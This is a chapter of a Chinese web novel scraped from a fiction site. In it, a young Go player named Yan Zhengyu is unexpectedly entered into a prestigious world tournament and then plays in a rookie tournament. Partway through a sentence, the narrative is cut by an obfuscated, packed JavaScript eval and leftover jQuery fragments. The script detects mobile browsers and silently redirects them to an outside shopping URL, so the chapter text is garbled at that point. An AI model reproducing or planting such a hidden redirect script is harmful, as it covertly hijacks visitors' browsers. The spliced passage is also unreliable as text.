文趣网 > 都市小说 > 她将执棋 > 49. 第 49 章
    支教活动被推到了年后进行。

    倒不是因为苏晚棠“良心发现”,只是因为严争玉报名了“新人王赛”。

    “新人王赛”是棋协旗下的一项传统公开赛。

    不限段位,所有注册职业棋手均可报名,赛制紧凑,奖金不高。

    但冠军头衔在业内颇有分量,常被视作新锐棋手冲击更高舞台的试金石。

    一个普通的周二下午,严争玉结束了上午的复盘训练,正和苏晚棠在中正棋院附近的小面馆吃午饭。

    手机屏幕突然亮起,一条来自“华国围棋协会赛事中心”的官方短信,措辞简洁,公事公办:

    “严争玉棋手:经审核,您已获得本年度‘天元战’资格赛参赛资格。

    “赛程安排及抽签仪式详情请见附件。请按时参加。”

    “天元战”的参赛通知,就这样毫无预兆地发到严争玉的手机上。

    严争玉握着筷子的手不自觉地松了松,面条滑回碗里,溅起几点油星。

    苏晚棠好奇地凑过来,扫了一眼屏幕,眼睛倏地瞪圆了,

    “天、天元杯?四年一届的‘围棋奥运会’,冠军奖金高达40万美元的世界顶级围棋赛事?

    她难以置信地看向严争玉,

    “争玉,你什么时候报的名?你参加的不是新人王赛吗?”

    严争玉盯着那条短信,拇指无意识地抵在食指关节上,缓缓摩挲。

    她没报名。

    苏晚棠像是忽然想到了什么,自顾自地否定了:

    “不对不对。天元杯是邀请制,没有公开预选赛的。”

    她撇了撇嘴,不悦道:

    “世界果然是个巨大的草台班子,棋协那群人连这么重要的通知都能发错。”

    说着又低头吃面,心情丝毫不受影响

    真的...发错了?

    贺其年的电话就在这时打了进来。

    “看到通知了?”

    电话那头的人开门见山,声音听不出喜怒,背景很安静,应该是在办公室。

    “嗯。”严争玉点头。

    她看了时间,距离她收到短信刚好两分钟,他显然是提前得到了消息。

    “陆守拙在年前的协会常务会议上提的案。”

    “理由是‘近年来新锐棋手缺乏大赛锤炼机会,应适当放宽顶尖赛事准入门槛,给予有潜力的新人更多挑战’。

    “表决时,三票赞成,两票弃权,通过了。”

    贺其年的口吻像在陈述一份商业报告,而她就是被评估的标的。

    突然,他的声音里多了一丝玩味,

    “他特意点名了你锦标赛的表现,认为你‘值得一个更高的起点’。”

    天元杯作为历史最悠久的世界顶级围棋赛事,参赛门槛向来苛刻。

    但规则中确实有一条:拥有女子职业高段棋手的国家或地区,必须选派一名女子职业棋手参赛。

    严争玉显然就是那“一名”。

    “你查得倒快。”

    “他动作这么明显,我想不知道都难。你怎么想?”

    贺其年问道。

    严争玉扯了扯嘴角,瞄了一眼大快朵颐的苏晚棠,侧过身,压低声音说道:

    “我能怎么想?通知都发了,难道我能退赛?”

    电话那头沉默了几秒,开口说道:

    “退赛不是不可以。如果你不想现在就和那些,世界排名前三十的怪物硬碰硬。舆论压力,棋院这边,我可以处理。”

    “然后呢?”

    严争玉反问,直指陆守拙的意图,

    “然后陆守拙就可以对外说,看,给了机会,她自己不敢上。新人果然心性不足,难当大任。”

    贺其年没说话。

    严争玉接着说道:

    “再然后,其他的什么‘机会’,难道不会来吗?躲的了一次,还能躲的了一辈子?”

    她叹了口气,

    “贺其年,这是阳谋。他算准了,以我的性子,就算知道前面是坑,也会往里跳。因为退了,就等于认输。”

    严争玉顿了片刻,声音冷下了几分:

    “而且,你心里其实也想看我跳下去,对吧?”

    电话那头沉默了将近一分钟。

    面馆里人声嘈杂,油腻的香气混着躁动的情绪。

    二人之间沉默的对峙,像一座冰窖,将喧闹隔绝在外。

    “严争玉。”

    贺其年开口,第一次叫她的全名,语气里听不出是被戳破心思的不悦,还是别的什么。

    来到这个世界后,严争玉其实并不喜欢贺其年叫她“小姐”

    表面看起来恭敬顺从,但语气和神态总像在说:

    又怎么了,我的大小姐。

    “有时候,太聪明不是好事。”贺其年说。

    “要瞒我,就瞒得彻底一点。”

    电话那头又是一阵沉默。

    再次开口时,贺其年的语调竟微微上扬,似乎心情不错,

    “你不就是想知道,我和沈清歌之间...”

    “我不想知道,你和沈清歌之间谈论了什么。”

    严争玉打断他,直接表明想法。

    “你怎么知道是‘谈论’,而不是...私情?”贺其年问。

    “谈论也好,私情也罢,你藏得好一点,不要成为我的污点。”

    “污点?”

    男人的声音低沉下去。

    “就算是现代职业女性,不论事业如何成功,一旦被人发现丈夫不忠。人们提起她时,不是理想与成就,而是痛苦与不幸。”

    严争玉望着小店外,川流不息,熙熙攘攘的人群,

    “我每天只睡六个小时,不是为了让别人评价我‘家门不幸’。”

    电话那头的人似乎被气笑了,语气间依稀间仍能听出不悦,但更多的是一种难以言明。

    “我会让人送一套正式点的衣服过去。抽签仪式上,媒体少不了。”

    “不用...”严争玉拒绝。

    “这不是商量。”

    贺其年打断她,语气恢复了让人习惯的不容置疑,

    “你代表的不只是你自己,还有中正棋院。

    “甚至...在某些人眼里,你代表的是‘非正统’的棋风,是否配得上更高的舞台。

    “穿得像样点,至少别在气势上先矮一截。”

    挂断电话前,他又补了一句:

    “当然,前提是你能撑到正赛。”

    天元杯的冠军可直接晋升九段,这可是无数职业棋手终其一生也未必能触及的荣誉。

    天元杯共分为五个阶段:资格赛、预赛、初赛、复赛、决赛。

    本届五十八名参赛选手中,除上届冠亚军外,其余五十六人都要先进行两轮网络资格赛,最终只有十四人晋级。

    这十四人与上届冠亚军组成十六强,进入预赛,才算正式踏入正赛的门槛。

    资格赛向来是修罗场。

    许多成名已久、排名靠前的棋手,都要从这里一路厮杀上去。

    把一个刚定段的初段新人直接塞进资格赛,已经不是“拔苗助长”,简直是把她架在火上烤。

    严争玉放下手机,不怒反笑,无奈又

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574005|201938||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    释然地对苏晚棠说:

    “没弄错。这可是...陆守拙送我的礼物。”

    苏晚棠放下碗筷,碗里已经见底。

    她张了张嘴,脸色白了,

    “他...他想干什么?这不明摆着让你去丢人吗?那些对手,哪个不是身经百战的老将?媒体又会怎么写?”

    “怎么写都行。”

    严争玉拿起筷子,卷起碗里剩下的面条,

    “棋协的正式通知,理由一定是‘给优秀新人挑战高峰的机会’。冠冕堂皇。”

    面放得太久,已经坨了。

    她吃了一口,便没有再吃。

    “走吧。”她说。

    ......

    下午回到棋院,推开训练室的门,窗外的玉兰树被斜阳拉出长长的影子,斑驳地落在地板上。

    她走到棋盘边坐下,棋盘上空空如也。

    但脑海里已经浮现出无数可能的棋路,对手模糊的面孔,预想中闪烁的镜头,还有那些尖锐的提问。

    唯一值得庆幸的是,天元杯资格赛和预赛之间隔了很久,足够让她喘口气,先备战新人王赛。

    ......

    新人王赛在一周后开始。

    场地设在本市老体育馆改建的围棋赛事中心,氛围与定段赛那种肃穆庄重不同,这里嘈杂又鲜活。

    参赛棋手年龄跨度极小,基本上都是刚定段的少年,满脸稚气。

    由于积分排名靠后,严争玉不得不打满,预选赛和复赛的每一场比赛。

    六天六连赛,对体力和脑力的双重折磨过后。

    严争玉不过刚从近两百人中脱颖而出,和二十四名种子选手一起,迈入本赛的大门。

    本赛第一轮,上届冠亚军首轮轮空,直接进入16强。

    其余28人两两对决,胜者14人晋级。

    ......

    严争玉抽到的第一个对手,是一位二十出头、以稳健厚重著称的七段。

    对局室不大,摆了十几张棋桌,落子的噼啪声此起彼伏。

    猜先,严争玉执黑。

    她没有采用任何复杂的开局,简简单单的二连星。

    对方似乎有些意外,沉吟片刻,应以小目。

    前二十手平稳得近乎沉闷,仿佛只是例行公事的布阵。

    但严争玉落子的速度始终均匀,保持节奏平稳。

    第二十五手,黑棋突然在对方铁壁般的模样中,投下一颗孤子。

    白棋七段皱起眉,长考了将近二十分钟。

    这手棋看起来有些无理,深入敌阵,缺乏明显的后续接应。

    他最终选择了最强硬的“镇头”,想要将这颗黑子彻底闷杀在里面。

    严争玉立刻拈起一枚黑子,“碰”在了白棋“镇头之子”的旁边。

    观战室里,几个早早结束对局的棋手,凑在实时传送的棋谱屏幕前。

    “这手‘碰’...有意思。不逃跑,也不对抗,而是借力。”

    一个戴眼镜的年轻棋手摸着下巴。

    旁边人说道:

    “白棋有点难受了。强杀的话,黑棋周围有借用;不杀,被黑棋轻松处理好,刚才的镇头就落了空。”

    “是严争玉?”

    后边一人认出了对局者名字,

    “她最近风头挺劲啊,不过听说...”

    “听说什么?”

    一个清朗的声音插了进来。

    众人回头,看见林见深不知何时站在了后面。

    他手里端着一杯水,目光落在屏幕上。

    ......